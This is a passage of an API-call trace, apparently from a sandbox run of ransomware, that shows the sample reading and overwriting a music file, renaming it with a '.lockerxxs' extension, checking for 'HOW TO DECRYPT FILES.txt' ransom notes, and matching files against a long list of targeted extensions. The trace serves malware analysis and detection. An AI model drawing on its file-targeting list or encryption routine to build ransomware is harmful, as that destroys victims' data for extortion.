dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.638] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x822 [0090.638] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xff3bd280, dwHighDateTime=0x1d5e37f), lpLastAccessTime=0x407536*(dwLowDateTime=0x2f52eb00, dwHighDateTime=0x1d5d8d3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2f52eb00, dwHighDateTime=0x1d5d8d3)) returned 1 [0090.638] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.638] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7fc, lpOverlapped=0x0) returned 1 [0090.640] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav") returned="sBjluBGQP91Wtj.wav" [0090.640] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.640] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fc, lpOverlapped=0x0) returned 1 [0090.641] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.641] CloseHandle (hObject=0x90) returned 1 [0090.641] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\sbjlubgqp91wtj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\sbjlubgqp91wtj.wav.lockerxxs")) returned 1 [0090.642] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3ec760, ftCreationTime.dwHighDateTime=0x1d5df04, ftLastAccessTime.dwLowDateTime=0x9717eaa0, ftLastAccessTime.dwHighDateTime=0x1d5d7e4, ftLastWriteTime.dwLowDateTime=0x9717eaa0, ftLastWriteTime.dwHighDateTime=0x1d5d7e4, nFileSizeHigh=0x0, nFileSizeLow=0x6996, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="W9ebZy.mp3", cAlternateFileName="")) returned 1 [0090.642] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.643] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="W9ebZy.mp3") returned -1 [0090.643] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="W9ebZy.mp3") returned -1 [0090.643] lstrcmpiA (lpString1="", lpString2="W9ebZy.mp3") returned -1 [0090.643] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\sBjluBGQP91Wtj.wav") returned="sBjluBGQP91Wtj.wav" [0090.643] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" [0090.643] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\") returned="" [0090.643] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" [0090.643] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\how to decrypt files.txt")) returned 0x20 [0090.643] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\", lpString2="W9ebZy.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" [0090.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.ems") returned 0 [0090.643] lstrlenA (lpString="*.ems") returned 5 [0090.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.db") returned 0 [0090.643] lstrlenA (lpString="*.db") returned 4 [0090.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.dbf") returned 0 [0090.643] lstrlenA (lpString="*.dbf") returned 5 [0090.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.myox") returned 0 [0090.644] lstrlenA (lpString="*.myox") returned 6 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.myo") returned 0 [0090.644] lstrlenA (lpString="*.myo") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbw") returned 0 [0090.644] lstrlenA (lpString="*.qbw") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbb") returned 0 [0090.644] lstrlenA (lpString="*.qbb") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbm") returned 0 [0090.644] lstrlenA (lpString="*.qbm") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbo") returned 0 [0090.644] lstrlenA (lpString="*.qbo") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbx") returned 0 [0090.644] lstrlenA (lpString="*.qbx") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qba") returned 0 [0090.644] lstrlenA (lpString="*.qba") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qby") returned 0 [0090.644] lstrlenA (lpString="*.qby") returned 5 [0090.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qbj") returned 0 [0090.645] lstrlenA (lpString="*.qbj") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.ofx") returned 0 [0090.645] lstrlenA (lpString="*.ofx") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.qif") returned 0 [0090.645] lstrlenA (lpString="*.qif") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mye") returned 0 [0090.645] lstrlenA (lpString="*.mye") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mbox") returned 0 [0090.645] lstrlenA (lpString="*.mbox") returned 6 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.eml") returned 0 [0090.645] lstrlenA (lpString="*.eml") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.pst") returned 0 [0090.645] lstrlenA (lpString="*.pst") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.ost") returned 0 [0090.645] lstrlenA (lpString="*.ost") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.idx") returned 0 [0090.645] lstrlenA (lpString="*.idx") returned 5 [0090.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.dbx") returned 0 [0090.646] lstrlenA (lpString="*.dbx") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.sql") returned 0 [0090.646] lstrlenA (lpString="*.sql") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mdb") returned 0 [0090.646] lstrlenA (lpString="*.mdb") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.fdb") returned 0 [0090.646] lstrlenA (lpString="*.fdb") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.wab") returned 0 [0090.646] lstrlenA (lpString="*.wab") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.dat") returned 0 [0090.646] lstrlenA (lpString="*.dat") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.txt") returned 0 [0090.646] lstrlenA (lpString="*.txt") returned 5 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.jpeg") returned 0 [0090.646] lstrlenA (lpString="*.jpeg") returned 6 [0090.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.jpg") returned 0 [0090.646] lstrlenA (lpString="*.jpg") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.png") returned 0 [0090.647] lstrlenA (lpString="*.png") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.php") returned 0 [0090.647] lstrlenA (lpString="*.php") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.cs") returned 0 [0090.647] lstrlenA (lpString="*.cs") returned 4 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.cpp") returned 0 [0090.647] lstrlenA (lpString="*.cpp") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.rar") returned 0 [0090.647] lstrlenA (lpString="*.rar") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.zip") returned 0 [0090.647] lstrlenA (lpString="*.zip") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.html") returned 0 [0090.647] lstrlenA (lpString="*.html") returned 6 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.htm") returned 0 [0090.647] lstrlenA (lpString="*.htm") returned 5 [0090.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.xlsx") returned 0 [0090.647] lstrlenA (lpString="*.xlsx") returned 6 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.xls") returned 0 [0090.648] lstrlenA (lpString="*.xls") returned 5 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mp4") returned 0 [0090.648] lstrlenA (lpString="*.mp4") returned 5 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.ppt") returned 0 [0090.648] lstrlenA (lpString="*.ppt") returned 5 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.pptx") returned 0 [0090.648] lstrlenA (lpString="*.pptx") returned 6 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.doc") returned 0 [0090.648] lstrlenA (lpString="*.doc") returned 5 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.dot") returned 0 [0090.648] lstrlenA (lpString="*.dot") returned 5 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.docx") returned 0 [0090.648] lstrlenA (lpString="*.docx") returned 6 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.7z") returned 0 [0090.648] lstrlenA (lpString="*.7z") returned 4 [0090.648] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.tar") returned 0 [0090.649] lstrlenA (lpString="*.tar") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.bz2") returned 0 [0090.649] lstrlenA (lpString="*.bz2") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.gz") returned 0 [0090.649] lstrlenA (lpString="*.gz") returned 4 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mkv") returned 0 [0090.649] lstrlenA (lpString="*.mkv") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.eml") returned 0 [0090.649] lstrlenA (lpString="*.eml") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.msg") returned 0 [0090.649] lstrlenA (lpString="*.msg") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.edb") returned 0 [0090.649] lstrlenA (lpString="*.edb") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.accdb") returned 0 [0090.649] lstrlenA (lpString="*.accdb") returned 7 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.odb") returned 0 [0090.649] lstrlenA (lpString="*.odb") returned 5 [0090.649] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.java") returned 0 [0090.649] lstrlenA (lpString="*.java") returned 6 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.asm") returned 0 [0090.650] lstrlenA (lpString="*.asm") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.pfx") returned 0 [0090.650] lstrlenA (lpString="*.pfx") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.pem") returned 0 [0090.650] lstrlenA (lpString="*.pem") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.p12") returned 0 [0090.650] lstrlenA (lpString="*.p12") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.gpg") returned 0 [0090.650] lstrlenA (lpString="*.gpg") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.vsd") returned 0 [0090.650] lstrlenA (lpString="*.vsd") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.odg") returned 0 [0090.650] lstrlenA (lpString="*.odg") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.raw") returned 0 [0090.650] lstrlenA (lpString="*.raw") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.nef") returned 0 [0090.650] lstrlenA (lpString="*.nef") returned 5 [0090.650] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.svg") returned 0 [0090.650] lstrlenA (lpString="*.svg") returned 5 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.psd") returned 0 [0090.651] lstrlenA (lpString="*.psd") returned 5 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.vmx") returned 0 [0090.651] lstrlenA (lpString="*.vmx") returned 5 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.vmdk") returned 0 [0090.651] lstrlenA (lpString="*.vmdk") returned 6 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.vdi") returned 0 [0090.651] lstrlenA (lpString="*.vdi") returned 5 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.lay6") returned 0 [0090.651] lstrlenA (lpString="*.lay6") returned 6 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mpeg") returned 0 [0090.651] lstrlenA (lpString="*.mpeg") returned 6 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.djvu") returned 0 [0090.651] lstrlenA (lpString="*.djvu") returned 6 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.tiff") returned 0 [0090.651] lstrlenA (lpString="*.tiff") returned 6 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.backup") returned 0 [0090.651] lstrlenA (lpString="*.backup") returned 8 [0090.651] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.pdf") returned 0 [0090.652] lstrlenA (lpString="*.pdf") returned 5 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.cert") returned 0 [0090.652] lstrlenA (lpString="*.cert") returned 6 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.docm") returned 0 [0090.652] lstrlenA (lpString="*.docm") returned 6 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.xlsm") returned 0 [0090.652] lstrlenA (lpString="*.xlsm") returned 6 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.dwg") returned 0 [0090.652] lstrlenA (lpString="*.dwg") returned 5 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.nd") returned 0 [0090.652] lstrlenA (lpString="*.nd") returned 4 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.tlg") returned 0 [0090.652] lstrlenA (lpString="*.tlg") returned 5 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.lgb") returned 0 [0090.652] lstrlenA (lpString="*.lgb") returned 5 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mov") returned 0 [0090.652] lstrlenA (lpString="*.mov") returned 5 [0090.652] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.xdw") returned 0 [0090.653] lstrlenA (lpString="*.xdw") returned 5 [0090.653] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.ods") returned 0 [0090.653] lstrlenA (lpString="*.ods") returned 5 [0090.653] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.wav") returned 0 [0090.653] lstrlenA (lpString="*.wav") returned 5 [0090.653] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", pszSpec="*.mp3") 